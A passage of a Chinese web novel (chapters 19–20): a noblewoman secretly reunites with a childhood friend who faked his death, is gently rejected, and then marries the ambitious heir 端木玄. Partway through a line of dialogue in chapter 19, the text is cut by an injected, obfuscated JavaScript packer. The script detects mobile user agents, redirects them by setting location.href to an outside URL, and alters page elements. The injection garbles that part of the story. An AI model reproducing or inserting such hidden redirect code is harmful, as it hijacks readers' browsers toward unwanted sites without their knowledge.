许疾风先行一步跳上了岸,音儿也搭着许疾风的小臂借力上了岸,随后便伸出手要去扶师冉月,与此同时岸上那人也伸出手来,师冉月迟疑片刻,还是扶着音儿的手低头上了岸,还没抬头,只先对着那人行了一礼,一个“谢”字说了一半,却被那人虚扶着她的小臂打断:“还是与我生分了,容琯。” 师冉月有些许慌乱着抬头对上眼前人的视线,仍旧是记忆中的剑眉星目,只不过比起少时的英气,平添了沉稳与淡薄。五官亦都长开了些。似是旧时人,又不似旧时人。只不过那人眼尾的痣与似初秋天边云尾的嘴角弧度依旧如昨,轻易地便把师冉月放回了承祐二年温暖朦胧的水湾般的记忆里。 不过面对那句似叹息似质疑的“生分”,师冉月还是有些许的尴尬,又有些多心似的觉得他有些不合时宜的熟络,不愿承认自己甚至觉得有一丝冒犯。不敢多与他对视,却是他又先笑道:“不过到底十一年过去了,就算你我走在路上突然相遇,不识得也是正常的。” 师冉月纠结着小声辩解道:“不会不识得。” 端木凛轻轻扯过她的手腕,领着她往山里走,道:“岸边风大,先随我回去罢,我在这山里买下了一个道士的田宅。” “你......最近都住在这儿吗?” “已经住了小半年了。” 师冉月有许多话想问,一时不知道从何处说,坐在船上时的热忱和激动慢慢冷却下来,整个人便觉得有些无处安放,更不知道一别经年,本以为此生的缘分已经尽了,二人却在此处相遇,他又特意安排人到驿馆,用玉佩约她出来,到底是什么心思,便只好保持沉默。偏端木凛也不再说话,只领着她慢慢进山。 不过音儿自从确认了是端木凛,倒是放下心来,只与许疾风并排远远跟在主子们身后。 翠微山没有多高,但却崎岖多峰。离岸边近处道路尚且平缓,看着像是有许多人走过,往里又行了约半里,路就渐渐陡峭,杂草灌木丛生,时而有苍耳等带刺的,不得不绕行避让。 又往上爬了一会儿,便看见一个山门立在不远处,只是石匾上的字已经模糊缺角,石柱两侧也满是杂草,更有藤蔓蜿蜒着绕在石柱上,上面凌乱又自然地开着几朵白色的小花,神秘而荒凉。 “这原先据说是个小寺,求姻缘子嗣很灵,于是香火也很旺盛。几十年前镇里的土地庙也可以求姻缘后,这儿便逐渐荒废起来,庙里的僧人后来也搬走了,便闲置在这儿。”端木凛轻声解释。 师冉月正琢磨着这石阶上满是青苔、阶缝间满是杂草的小寺该不会就是端木凛说的他如今的住处,又想起他说是从一个道士手里买下来的居所,想着道士总不会借宿佛门,稍稍放下心来。脑子里转过千万个想法,不知不觉已被他领着绕过寺的大殿,从后殿一处角门穿过,又顺着土道上了山。 “小心青苔——” 话还没落,师冉月已是脚下一滑,端木凛忙伸手去抓她,也没管师冉月害羞得像个鹌鹑缩在宽大的披风里,只管像提溜小鸡仔一样把她抱着,连迈了几大步到一块稍缓的转角,将她放在一块表面纹理粗糙的大石头上,道:“后面的路便好走了。” “好......” 二人又沉默着向上爬了约两三里,便能瞧见安坐于山间一处平缓山坳里的一座小宅子,小小的白漆矮墙,盖着大小不一的碎青瓦,瓦下还有一个用木板托住的燕子巢。门也只是两扇普通的松木板。推开门进去,院落不大,收拾的却很规整。“这一间正房是原本就有的,东厢原本是柴房,西厢是我们后加盖的,如今疾风在住。” “这院子倒有些野趣,像是陶公笔下的样子。不过只有你和疾风住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226133|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这儿吗?” “是。当年随我从王府里出来的部下本来还存着等我重回王府东山再起的心思,但后来看我实在没有这个打算,有好些就归家去了。也有些随我云游各地,碰见喜欢的地方就各自留下了。随我一路到度州的有两三个现在就住在新塔镇,但只有疾风随我住在山里。”端木凛将师冉月领进正房,叫她在蒲团上坐下,自己去倒了茶来。 茶具是粗瓷的,像是某次开窑的失败之作,但胜在别致,与这屋子的风格和摆设也相配。 师冉月接过茶杯轻饮两口,竟尝到淡淡的蜜糖味儿,不觉眼眸一亮。 端木凛在她对面坐下,看她亮起来的眼睛笑道:“你还是喜欢喝这种蜜茶。” “我也一样爱喝酒啊。”师冉月终于真心笑开,又四下打量了一番,道:“你这屋子里的橱柜不会都是你自己打的罢?” “没错。”端木凛道。他从小喜欢设计图纸,再按图纸做出想要的东西来。原先在王府时,还有各类玉器、石料供他使用,如今唐珞的嫁妆越花越少,一切都得省着来,也只有拿寻常木材做些家具玩玩了。 看着师冉月似是惊叹又似是赞许的表情,端木凛忍不住问道:“你觉得这屋子如何?” “不错,‘斯是陋室,惟吾德馨’。” 端木凛笑道:“‘陋室’甚妥,不过谈不上什么‘德馨’也就是了。我这儿也没有鸿儒名士,只有苔痕和草色。” “连‘白丁’也没有。”师冉月笑着接道,“不过当初先生讲这篇时,我也只喜欢‘苔痕’这一句。后面那句总觉得有嘲笑贬低‘白丁’的意思,虽然我晓得刘梦得本意不在于此。” 喝完了一杯茶解渴,师冉月又忍不住问道:“为何留在了度州?” “两年前未能得你回信,接着又听说了师太傅病逝、师家回逢州的消息,我本想向东去逢州寻你,却赶上知郡瘟疫,太守下令封城。再后来又听说你去了卿州,偏偏我才要南行,你又回了逢州。我便想先寻一处地方暂时住下来,正好听说你与楚王世子的婚讯,我想着从逢州到慕州,度州总是必经之地,便在此处留了下来。” “你怎么消息如此灵通?我爹去世和我订婚也就罢了,这也算是人人皆知的事,可我去卿州你又是怎么知道的?” “端木玄身边的烟水你见过吗?她原是我的手下。”端木凛淡然道。从京城见过面后,影卫就对师冉月的一举一动了如指掌,这也是师冉月晓得的。去卿州不过是家事,透露给端木凛也没什么大不了。 师冉月讶然,却不仅仅是因为烟水和端木凛的关系,更是没料到楚王府的影卫居然并不是端木玄自己的谋划,而是早有布局。 承祐五年的冬天,楚王妃唐珞因肺痨过世。众人本以为端木横会将当时的侧妃、沐安郡主的生母殷嫣扶正,然而唐珞尸骨未凉,端木横却接回了一个怀着身孕的商户女子辛阮英册封为妃,只说是一直养在外面的外室,与辛氏一同接到王府的还有比沐安郡主年长两岁的淑宁郡主。然而辛阮英才住到王府不到半年便流了产,母子俱亡。辛氏入府前,楚王原本的长子端木凛突然消失,据说是中毒暴毙,与之一同消失的还有好些王府的门客、旧臣以及仆从。端木凛的死没有发丧,没有葬仪,只在慕州城外多了一个规格华贵的坟墓。 而后不久,端木横又从吴阳接回一个孩子,说是辛氏所出,因自幼体弱,便养在了辛氏妹妹家中。此子与端木凛同岁,由端木横取名为玄,字由许,入族谱,上宗碟,册为世子。辛氏去世后,端木横也未再新娶王妃,而是过了两年将殷嫣扶正。于是楚王府的构成便成了现在人们熟知的样子:楚王端木横、王妃殷嫣、世子端木玄、淑宁郡主端木暄与沐安郡主端木缡。 而本该中毒暴毙的端木凛没有回头寻找父亲,而是花着母亲的嫁妆,带着没有被端木横为了封口处理掉的门客随从就此云游天下。为着方便,就给自己取了个别名“商信”。 他仍旧遵守着与京城那处大宅院里某个小丫头的诺言,靠着在王府时对烟水的恩典从她那儿借了几个人,送信到约定好的京畿江浪观后身歪脖子的柳树下,再由音儿定期找借口亲自去取来。在师冉月看来一切似乎都照旧,只不过是信里的内容从慕州王府变成了五湖四海。她也曾疑惑,在回信中询问他,却直到承祐八年才在回信里得到了答案。 “‘塵衣初典,却一番商信,吹下空馆。’他大概是释怀了。”彼时十三岁的师冉月莫名伤春悲秋,像仕女图里拿着扇子数落叶、对镜自怜的半老徐娘,看得音儿一愣一愣的,而十八岁的端木凛——十八岁的商信,却像是一阵扫清落叶的狂放秋风,自在于天地间了。 19. 第 19 章 “那你如今作何打算,就在度州定居了吗?” “兴许。”端木凛淡淡笑着。从前都是鲜衣怒马的少年,或温润或惊艳,如今师霖全然像披着人皮的老狐狸,求的是名利场中运筹帷幄来去自如;端木昀勉强立于东宫,眼中是无能为力的忍痛与战兢。端木凛却似乎完全逃脱出来,虽不是当初少年意气风发的模样,但却满是轻松淡然。 “你若是遇上什么事,可以寄信来,也可以来此处寻我。”而他总是能找到师冉月的。 师冉月却觉得他这份所谓的决绝和自由有些虚无缥缈,可自己也说不上来“虚”在何处,便也暂且打岔,只推说自己有些饿了。 端木凛于是亲自张罗着做饭,三菜一汤,菜都是山中的野味,汤是河里钓来的小鲫鱼熬的汤。 师冉月给他打着下手烧柴,不免笑道:“竟不知道你还有这样的手艺,小时候你连饺子皮都捏不好。”她是从小喜欢在灶台旁打转的,总觉得厨房里的各种饭菜香无比美好,令人安心,像生火烧柴这样的事也不肯假手他人,唐烨都说她没托生在厨子家实在是可惜。 “人在外漂泊,难免有吃不上饭的时候,前不着村后不着店的,就得自己准备吃食,总不能只叫疾风自己一个人忙活,也就练出来了。” “那很辛苦吧?”师冉月有些想象不到记忆中的少年挽着本该刺绣熏香的袖子在灶台前笨手笨脚弄吃食的样子。 端木凛顿了顿,道:“比起王府的生活,刚开始是不大适应,也对那些人有怨言,不过抵不住山川美景更让人向往。后来熟练了便也都不是问题了。我见了大千世界,便觉得自己的怨怼都是浮云,不如抛却过往,只往前看,过好自己的生活。” “你倒有些像个隐士了。” “隐士哪敢当,何况非要做隐士也无趣。”端木凛笑道,“我这一处宅子不比辋川,却也算是世外桃源了。” 许疾风难得清闲,洗了两个果子,递给音儿一个,见音儿犹豫,道:“放心,这果子是昨天我新摘下来的,不酸。”音儿这才试探着啃了一口。 许疾风坐在她身旁的小藤椅上,道:“你瞧我家公子和你家姑娘,多像是夫妻的样子——” “怎么可能,”音儿打断他道,“我家姑娘已经和楚王世子订婚了,她不可能因为在这儿遇见你家公子就悔婚的。”这话说起来倒叫音儿有些心虚,她忍不住开始想象倘若叫外人知道了她家姑娘订了婚还跑到这荒山野岭私会外男,尤其是楚王府的人,该是怎样的猜疑指责。更别提万一叫端木玄知道了,那情形她连想都不敢想。何况这些年来,虽说他们二人的书信音儿没有逐一看过,可个中秘辛她也算知道个七七八八。这般越想越后怕起来,捏着果子的手指都开始发白。 “他俩互相喜欢,怎么不行。”许疾风却没看出来音儿的思绪,大大咧咧道。 音儿被他一嗓子喊得回了神,撇嘴叹道:“你家公子是怎么样我不晓得,我家姑娘就算心里还惦记着你家公子,那也不过是这些年来一直有这么个人给她写信,讲五湖四海山川河流、玉佩挂在她腰间、秘密也只有她知道的,才有些许特殊罢了,说不清是年少的执念还是喜欢。就算是喜欢,也有可能是对兄长、对朋友的喜欢。退一万步说,哪怕我家姑娘真的倾慕你家公子,这世上的事又哪是凭‘喜欢’就能成的呢?”音儿一边说一边啃完了那个果子,“别说我家姑娘,便是公主、皇后,那也不是事事都能顺心的。” 许疾风无话可说。说实在的,他也不晓得师冉月在端木凛心里到底是什么位置。虽说这些年他唯一挂心的便只有这小丫头,但把她当妹妹也是有可能的。他闷闷地也啃了一口自己的果子,却一下子被酸的脸皱,再一看吃得手里只剩果核的音儿,只能自认倒霉。 师冉月刚好走到外头来透气,听见音儿的话心里有些酸涩。在院子里小步来回走着磨蹭了一会儿,转身又进了厨房,一边帮端木凛拿碗筷,一边踌躇着试探道:“我......我现在是因为厝州戒严,才留在度州的。” “我晓得。” “我今日也是托云姝在我大嫂她们面前打马虎眼才出来的......云姝你还记得吗?”师冉月布着碗筷,想着端木萌一边与萧晨说她一大早便去了城隍庙,一边兴许要阻止婷姐儿她们真去城隍庙寻她,一边又要在心里翻着白眼盘算她到底去了哪里——端木萌最受师吟月和师冉月赞扬的点便是从不刨根问底,只要表示了是不方便透露的事,她宁可自己猜得头昏脑胀也不会再缠着人多问。 端木凛笑道:“她也是我妹妹,我怎么会不记得。” 师冉月也知道自己说了糊涂话,便只是沉默。好在许疾风闻着饭菜香便来了,顺便拉上了音儿,虽说不那么尴尬了,但却也更不好说话了。于是一方四四方方的小木桌,师冉月与端木凛、音儿与许疾风两两相对而坐。端木凛先给师冉月舀了碗鱼汤,师冉月道谢接过,也不再言语。音儿瞧出了些什么,便主动开口向师冉月道:“姑娘,城隍庙未时一刻落锁,我们几时下山回去?” 师冉月顿了顿,道:“那便未时罢。” “下山和渡河都要费时间,不如再早些?”音儿一面说着,一面来回瞄着师冉月和端木凛的脸色。果然,端木凛开口道:“我已安排好渡船在原处等候,渡河不会太费时间。” 师冉月却像是没有领会他的心意般,眼神只盯着饭菜,笑了笑说:“那也还是早些罢。不然我嫂子们起疑,也不好解释。云姝也是要生气的。” 一时间气氛又僵下来,师冉月也只顾着低头吃饭。许疾风瞥了两眼端木凛,匆匆扒了几口饭,便叫了一声“我吃好了”带着自己的碗筷出去了。音儿见状,犹疑了一瞬,看了眼师冉月,便也迅速把碗里剩的饭都塞在嘴里,来不及说话就跟着溜了出去。 师冉月也只沉默着吃净了碗里的米,才慢慢抬头问道:“我和云姝一样——对你来说都是妹妹吗?”这话说得她自己都有些莫名其妙,似乎自己真正想知道的根本不是此事,又或者她的确也纠结于此。而假使得到了也许会令她开心的那个答案,她也不知道该如何回应。可她还是打定主意般问出了口,似乎打着也许今日便是最后一日的决心。 听了这话,端木凛放下碗筷,双手搭在桌边,直直地望着她的眼睛良久,直到手指在掌心留下青紫的印痕,却终于还是在她的注视下露出完美无瑕的微笑:“是。” 他自认应该是这世上头几个了解眼前这姑娘的人,于是自负地以自己的了解为她做了选择。虽然他也不知道这样的他是否符合她今日这样决绝渡江赴约的心意,只是不符合今日,总好过不符合一生。 她是不会为曾经停留的,一日的怀旧,应该已经足够了。 “那为什么,那为什么要费心思叫疾风去装成驿卒,给我送玉佩,还把我约到这里来......难道只是想告诉我你在这儿买了田宅有了居所吗?”师冉月突然带了些许的哭腔,带了些莫名的执拗,问到最后垂下眉眼,自己努力掩盖哽咽的痕迹,不再去看端木凛越来越破裂开的瞳孔。 端木凛没有再回答。他端坐了半晌,看着她低敛的眉眼,却还是揉平心中的不忍,面对着她仍旧半直白半试探的询问,把自己想说的话咽回肚子里。良久,他起身,从柜子里取出来一个匣子递给师冉月,轻声道:“这些,还有那块玉佩,就当为你添妆罢。” 师冉月强忍回泪水,只觉得方才的几个时辰自己像黄粱一梦一般荒唐。再抬头时鼻尖和眼眶都有些红,却笑得很好看:“谢谢你,常更哥哥。” “午时三刻了,下山罢。” “好。” 回到驿馆也不过刚过未时一刻,进门前还有一个驿卒样子的人送来这日城隍庙前的摊位上卖的手串和香牌。萧晨等人都没什么反应,只端木萌打量着她的杏色衣裙面露狐疑。师冉月说笑了两句便钻回了自己的房间,看着音儿从斗篷下拿出的那个匣子神色落寞。她坐在椅子上盯着那匣子看了良久,又发了会儿呆,终还是起身将匣子塞在枕头下,自己出了房间照常用晚饭。 直折腾到梳洗过后,才叫音儿把灯都熄了,自己端了一盏案上灯进了帐子里,这才打开了那匣子。匣子是樱桃木的,上面雕着鱼纹和栀子,不过两个巴掌大的匣子,却装进了五双金鱼锭、两只上好的翡翠镯子、几只西洋的各色宝石坠子,还有一个红纹玉镶的璎珞。另有一只白玉的簪子和一个青玉的观音坠子,看着倒像是老物件了。 翻到最下面是一个信封。师冉月缓缓拆开来看,里面的信纸倒不像是新放进去的,边缘已经泛黄褶皱。她迟疑着将信纸抽出展开,看清了信的内容蓦然瞪大了双眼。 良久,床帐内的灯影灭了。音儿守在门边轻轻松了口气,唤来啼樱守夜。啼樱看出来一二,悄声问师冉月的状况。音儿却已放下心来,轻声笑道:“咱们姑娘只会往前走,不会回头。” “那姑娘刚回来时怎么是那个样子,好像......受了情伤。” “姑娘大概,只是找不到她昨晚和今早所作所为的意义了。” 情伤?音儿在心里暗叹,师冉月怎么会有情伤。她家姑娘比死去的大姑娘还要绝情,从来最爱的只有自己,只做合自己心意的事。在她心里,大概一切都比不过她的安逸。情都没有,又何来的伤? 又过了两日,厝州戒严令解除,一行人便又上了马车西行往慕州去。师冉月果然情绪平静,看上去没有任何异样,甚至连音儿都有些惊讶。照常师冉月虽从不肯让自己后悔,但总是会难过几天的,虽不会表现出来,但食欲不振、夜里辗转反侧不能安眠这些总是骗不了人的。 师冉月却淡然道:“本也没什么实在确凿的心思,不过是突然有这么个机会......让我的日子起些波澜,而如今又回到正常的样子罢了。其实我虽然向往那些波澜带来的刺激,却还是更喜欢一切走在正轨上。我有我的事要做。” 刚出了厝州,便见烟水带着一队楚王府的侍从迎接,再走两日的车程便到了慕州。 进了慕州城,师家一行人便先去了端木玄帮忙找好的宅子,楚王府的人皆留下来帮忙收拾。晚间众人赴楚王府接风宴,林绵时隔多年与众人重聚,又闹到三更。 “折腾了这么些天,实在是累得很——”端木萌长叹一声坐到妆台前,虽说物件还没收拢到位,但也已经打扫得整洁。行湘挂起她今晚去楚王府的鸭青镶金线的披风打理,却发现边缘不知何时被火烛燎了个小窟窿。 “扔了罢。”端木萌卸着钗环不在意道,“明日去打听打听慕州的裁缝铺子,请人来再做几身衣裳。正好婷姐儿又长高了,该新裁几条夏天的裙子了。问问陈妈哥儿姐儿都睡下了吗?” “睡下了。大姑娘今日玩累了,睡得格外早。” 那厢师冉月倦倦地靠在床上,看着音儿带着啼樱几个小丫鬟把东西都收拾齐整,问道:“隔壁院子是三嫂住吗?” “是四夫人住。” “哦,那便是五哥儿在哭了。四嫂不是会针灸,上次大嫂头疼睡不着便是四嫂治好的......兴许是五哥儿太小了,她也不好施针。”师冉月揉了揉眉自问自答,“我这一路上也算是领略过了,这小孩子就是不无理取闹也足够累人,再碰上这样不知事的年纪,真是还不如交给奶娘——” “交给奶娘?”端木萌斜了一眼绵儿,懒懒地道,“孙 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“是,奴婢方从四夫人处经过,听见里面正骂着奶娘呢,好似是摔了东西把哥儿吓到了。” 萧晨抚眉想了想:“琦哥儿那个奶娘沈氏是年纪轻些,不大稳重,不过是四夫人自己做主挑的卿州人,我也不好多说什么。” “正是。三公子与五公子是前后选的奶娘,三公子的奶娘李氏是您给二夫人介绍的,人就颇妥当。” “这倒也不算我的功劳。”萧晨笑道,“李氏是惠嫂的同乡,算起来是小六身边那个音儿的表嫂。惠嫂跟在太夫人身边管家多年,识人准。说来岳太夫人那边可打理好了?” “都妥当了,夫人放心。” 萧晨长叹道:“她执意把年轻的丫鬟们都遣散了,只留锦姨一人,又带着那么些书,也不晓得又要整理到什么时候去。” 前夜睡得不安稳,一大清早师冉月被音儿叫起来时迷糊了好久,被拖着坐到妆台前时还放空了好一会儿,然后一个机灵吓得音儿差点把她的眉描歪,“是大嫂叫我用早饭吗?” “不是大夫人,是楚王府的人来叫——不过不是世子爷,是沐安郡主。”音儿抢在师冉月皱眉前把后半句话说完,看着画好的远山眉长舒了一口气。 “沐安郡主?昨日端木玄不是说她去别苑照顾养病的王爷和王妃了吗。”师冉月疑惑着挑选耳环,昨晚端木玄新送了她一对儿用粉冻石精心雕成桃子样的耳坠,的确精巧别致,不过她上耳试了试,还是觉得有些沉,便换了一对儿银掐丝的琉璃坠儿,配音儿挑的雀青裙子也很合适。 一路到宅子正门,皆是丫鬟小厮们在来回搬着家具箱子与花草一类。只碰上端木萌的小丫鬟妍娘去厨房取了一碟霜糖米糕来,便被师冉月顺手牵羊拿走一块垫肚子。到了门前却只是几个楚王府的下人,为首的侍女身姿利落,头上插着与烟水相似的双头银簪,见了师冉月后行礼道:“师二姑娘,奴婢名合月,日后在王府听由姑娘差遣。” 师冉月点点头,笑道:“巧了,我名字中也有个‘月’字,倒是你我的缘分了。”她倒不大忌讳这个,只又问道:“沐安郡主在何处?” 合月答道:“在城中银朱楼,请姑娘一叙。” 扶着楚王府侍卫的手臂上了马车,放下帘子,师冉月左右打量一番,忍不住与音儿吐槽:“总觉得像上了贼船。”音儿还看着在马车一侧走着的合月发愣,总结过往所见所闻,忍不住悄悄得出一个悲痛的结论:楚王府的侍女也都是跟在马车外随行的,没有与主子共乘一车的道理。 她纠结着开口:“姑娘,我就这么上了马车......会不会显得没规矩啊。” 师冉月奇怪道:“怎么了,这不是惯例么?”她看了看合月,明白了什么,拍拍她的手道:“没关系,大不了就说是跟在车内方便侍奉。师家就是这个规矩,你跟着我嫁了人也是这个规矩。” 正说着,合月在外面道:“姑娘,银朱楼到了。” 师冉月应声下了马车,见眼前这小楼总不过三层,尽漆绯红漆,配着黑瓦,用银漆描边作壁画,倒是与众不同,却也尽显豪奢。昨夜便听林绵讲过,此处不但是慕州城最大的酒楼,也可以说是整个荆楚七州最大的酒楼。其“大”处不在于面积,而是生意大、客源广、暗场深,不但方圆几百里的世族显贵多多少少都有关系在里面,甚至京城要员也有参股。 不晓得端木玄在此中掺了多少。师冉月想着,随着合月进了这楼,只见一层与寻常酒家无异,也有不少平民百姓打扮的人在此处,只不过一大清早客人并没有很多。上了二楼,布置的明显雅致,不见此楼外表颜色给人的压抑糜烂之感,反倒清新通畅,更像是茶座。合月却像守在楼梯口的似是跑堂装扮的人出示了一块银腰牌,几人便被请到了三楼。三楼窗户紧闭,室内一片幽暗,竹栅隔开一个个小包间,云白的绢布窗纸透光而不见影。 合月领着师冉月到最里面的包间门口止步,师冉月见状示意音儿在外等待,推开门往里望去,却不见端木缡的影子,唯有端木玄端然坐在小桌后。 合月在她身后轻关上门,带着音儿到了一楼去请她吃饭:“这里的肉粽不止端午才有,你可以尝尝。拌面也很好吃。”音儿原先瞧着她的样子还有点不太敢搭话,这般也放松下来,看着眼前女孩鱼一般的眼睛笑道:“我还以为你们戴这个簪子的都像烟水姑娘一样。” “烟水姐在你眼里是什么样?”合月笑道:“莫不是冷漠、生人勿进、不好接触?” 音儿猛猛点头。 “其实她也挺温柔的,就是跟在世子身边时间长——我们都是给主子办事的,不得闲的时候哪里能笑的出来呢?” 20. 第 20 章 “原来是你。”师冉月在他对面坐下,道,“为何要借沐安郡主的幌子?” “不然怕你不肯来。” “怎会。”师冉月扭着嘴角落座。 小桌上摆满了糕点吃食,还有她喜欢的灌汤包和馄饨。端木玄拿了一个空白小碟递给师冉月示意,师冉月接过来,拿起筷子笑道:“你怎么知道我没来得及吃早饭?” “猜的。”端木玄自己吃着一碗豆沙团子,看上去甜得腻人,他却吃得很投入,竟有点叫师冉月忍俊不禁。 二人就这么“岁月静好”般用过了早饭,端木玄拉了拉窗边系着的福猪铃铛,便有人鱼贯而入收走了碗筷,换上山药羹与茉莉蜜茶,又退了出去关上了门。 “此番劳动你来一趟,一是我已请人商定了婚期,便在今年八月初七,已经封了红帖,明日便会送到师大夫人手上。聘礼我已备妥,只待吉日按部就班送到你家宅子去。二是有关楚王府,有些事还需你知道。” “昨日绵姐姐已与我说了一二。” “她不知道这些事,但是你需要知道。”端木玄道,“沐安郡主与王妃的确在城郊别苑,我已做主将沐安郡主许配给颍川守备的嫡长子。王妃现在精神有些不济,来日可能需要你来为她主婚。楚王在王府西院,如今靠参汤吊着命,我会让他在需要的时候去世。” 师冉月双眼圆睁。她昨日便觉得不大对劲,在别苑养病这种说辞听起来倒像是对她这个未来儿媳不满的托词,但就算楚王夫妇当真不喜师家或是不喜她,云和公主和平承郡主这两个侄女总是该见的。好在昨日也只算是“家宴”,除了楚王府与师家的人,没有宴请其余宾客,不然岂不是惹人猜忌落了话柄。 端木玄说这些话时实在淡漠,还神态自若地吃了一半山药羹。师冉月却端着茶盏沉默良久。半晌,她抬眸看向刚吃完了一整碗山药羹的端木玄,“你想要的不止是王位。” 端木玄睨了她一眼,给自己也倒了一盏蜜茶,道:“随你想。” “何必呢。这位置本不是你的。楚王名义上只有你一个儿子,又册封了世子,继承王位是早晚的事,还不够你满足吗。”师冉月问得平淡,其实她也没有执着于他会给出一个什么样的答案,只是觉得会有些疲惫。 “这位置也不是我想坐的,”端木玄双目放空般盯着窗缝,隐隐有雨丝飘进来。风忽大忽小,吹得窗棂一颤一颤,发出些微的吱呀声响。“左右也是无趣,我不试试,怎么知道这日子有没有别的过法呢?” 师冉月笑了,“也罢。”师家如今也需要他这棵树借一把力。这树虽没扎根稳固,但独自生长在河岸,远离森林,不会被其他树木影响,足够把师家从沼泽里拉出来。“你与我兄长们的交易是你们的事。我既要嫁到王府,王妃不在,日后王府内院之事需要由我掌管,公中也要交给我。” “这自然。”端木玄从怀中取出一只小铁盒递给师冉月,“这是钥匙。王府内院如今是烟水在管,你我成婚后,她我有别的安排。今日送你来此处的合月原先跟着烟水,日后她便跟着你,府中有什么事不清楚的你都可以问她。还有六个影卫以合月为首,都交由你差遣。” 六月初三,婚书送呈。而后“催婚”“铺房”都依俗进行得井井有条又热热闹闹。 “我是大概只有焕儿这一个孩子了,倒是小六叫我体验了一番嫁女儿的感觉。”萧晨笑道。 端木婉把一排花样子在师冉月的书案上排开:“喏,你说却面的团扇想试试蜀锦的,绣娘已经把花样子绘好了,是单要花纹还是花鸟纹都要的?” “花纹还是要栀子......再添个合欢吧。”师冉月来回端详,“鸟纹再填上会不会太杂了?” “可以在斜上角填两只喜鹊,或者把花的纹样围绕在鸟周围,单用花多没趣。”端木萌举着两个喜鹊的花样比划着。她当初成婚举的团扇是用暗金线绣了九只喜鹊在底下,再在上面绣了各式花纹。 “可别,你给我挑的那锦被的花样就凌乱的很,看着都闹眼睛。” “那绣娘辛苦选的,我瞧着荷花清雅、樱花玲珑,海棠和蔷薇明艳大气,再加上你喜欢的栀子,那合欢寓意又好,又加上那些吉祥的纹样,那般布局都已经是极好的了。”端木萌忿忿不平,“要是我还有下次成婚,定搞的比这还繁复。”“说什么呢——”萧晨听了笑着轻拧她的手。 好多会儿选完了花样子,端木萌和张雁被幼子折磨去哄睡午觉,只剩萧晨与端木婉留在师冉月屋里坐下来说话。 “我倒是不担心旁的,只是世子如今已有了庶长子,又是侧夫人所出,只怕你年纪小,又没有子嗣傍身,别被人欺负了去。”萧晨轻摇着梨扇,消去日渐闷热的空气。 端木婉捧着一碗凉豆花慢慢吃着,又从小芜手里接过帕子来垫手,“是这个理。” 师冉月笑笑:“你们先前也见了绵姐姐了,她如今只守着孩子生活,又不会害我。何况虽说世子的确与我和绵姐姐都没什么情谊,不过在他眼里正妻和侧室总还是不一样的,不然他也不必寻我作正妻,只与兄长们交易便罢。再者公中库房的钥匙已在我手里了,原先也不是绵姐姐管家,你们大可放心。” 萧晨却还是摇了摇头,“人心难测啊。”她阻止了端木婉贪凉打算再来一碗冰豆花,悠悠叹道:“就是不是林绵,也会有其他女子。别说世子有没有尚未正式收作妾室的通房、侍女之类,世子来日也是会有其余妾室的。” “那便由我给他纳妾好了。”师冉月接过啼樱新冰镇的蜜瓜,毫不在意。 萧晨眼睛一瞪,想说些什么又抚眉无语。端木婉倒是认真思考道:“我兄长是没有侧妃的,不过涯州的燕王兄和芜郡的齐王伯都是有妾室的,虽然燕王府后院有些鸡飞狗跳,但齐王府后院还是比较和谐的。” 萧晨摇不完的头:“那天云姝还来抱怨,说子持写信给她说她一孕傻三年,我倒觉得她原先也是那个样子差不太多,倒是镜妤近来像个小孩子。” “景儿他们几个都省心,我也没什么好烦心操持的,有什么不好呢。”端木婉笑道。 师冉月却想林绵如今也是像端木婉这样,好像有了一个端木城就完全满足了,全然不似她要离京那会儿那般心焦忧虑、小心翼翼。她在心里轻吐了几口气——她到宁愿不生孩子,反正端木玄也有子嗣继承家业了。谁知道有了孩子后她的命运是像萧晨、端木婉和林绵,还是像端木萌、张雁甚至师吟月呢。 八月初七,大吉,宜嫁娶。 端木氏与师氏再结秦晋之好。 寅时,师冉月便被音儿和啼樱拉起来,听着窗外的爆竹声换好了婚服。这婚服倒是端木玄亲自选的,再由师冉月在细节处添了些意见,早在今年开年便由慕州的十二个绣娘开始缝制,直到七月初才做好交到二人手上。 为师冉月梳头和开面的是唐家的一位子孙满堂的姨母与陈王的妹妹惠和郡主。末了师焕和师婷欢带着几个已经能在地上蹦跶的弟妹,还有淑宁郡主的两个儿子拿着枣子桂圆来添福,几个慕州的闺阁小姐来添妆,又伴着说了会儿吉祥话,便闹到了吉时。 师冉月的兄长们都不在慕州,婚仪便省去了堵门的环节,端木玄直接带着接亲的人见人便塞红包金锭,顿时满院的欢声笑语。 而后二人在正堂,对着师道旷与唐烨的牌位行礼告别。岳诗韫今日倒是换了身紫色的新衣,仔细梳洗坐在了左上座,代替唐夫人为师冉月添福。她把自己一直戴在右手的那只羊脂玉镯摘下来,戴到师冉月腕上,捏了捏她的手,却没有再多说什么。师冉月晓得这只镯子是当年岳诗韫嫁给师道旷后唐烨送给她的,也是唐烨的陪嫁之一。 萧晨在一旁看着,忍不住在心里叹气,她知道原本岳诗韫有自己的一对镯子,是与同胞姐姐岳诗君一同打的四只,岳诗君那两只一只给了定陶公主端木葭,另一只在端木萌出嫁时给了她。岳诗韫也已经在师吟月出嫁时给了她一只,另一只剩下的就是原本要给师冉月的,可怜端木葭与师吟月几乎同时丧夫,岳诗君又被废,她才换了这镯子给师冉月。 唢呐一路吹着喜乐,十里红妆伴着喜糖喜钱一路到了楚王府。沿路围观者无一不赞叹师家和楚王府的大方,数着嫁妆唏嘘羡慕,不过再想起前些日子送到师家的聘礼,也不得不感慨不过是门当户对罢了。 楚王仍旧称病,虽顶着些“冲喜”的谣言,但端木玄和师冉月都觉得没什么所谓。楚王妃殷嫣却是坐在了主位之上,面容焕发,笑得端庄和蔼。 拜过天地父母,又在洞房行了同牢、合卺、结发之礼,二人眼中都是笑意盈盈。端木玄眉目清朗、容颜明俊,师冉月一双桃花眼更是柔媚明艳,唇上的胭脂行合卺礼蹭掉了些许,却被酒染的更显柔润。二人坐在一起便像是一幅浓墨重彩的画,叫围观的宾客止不住的艳羡称赞。 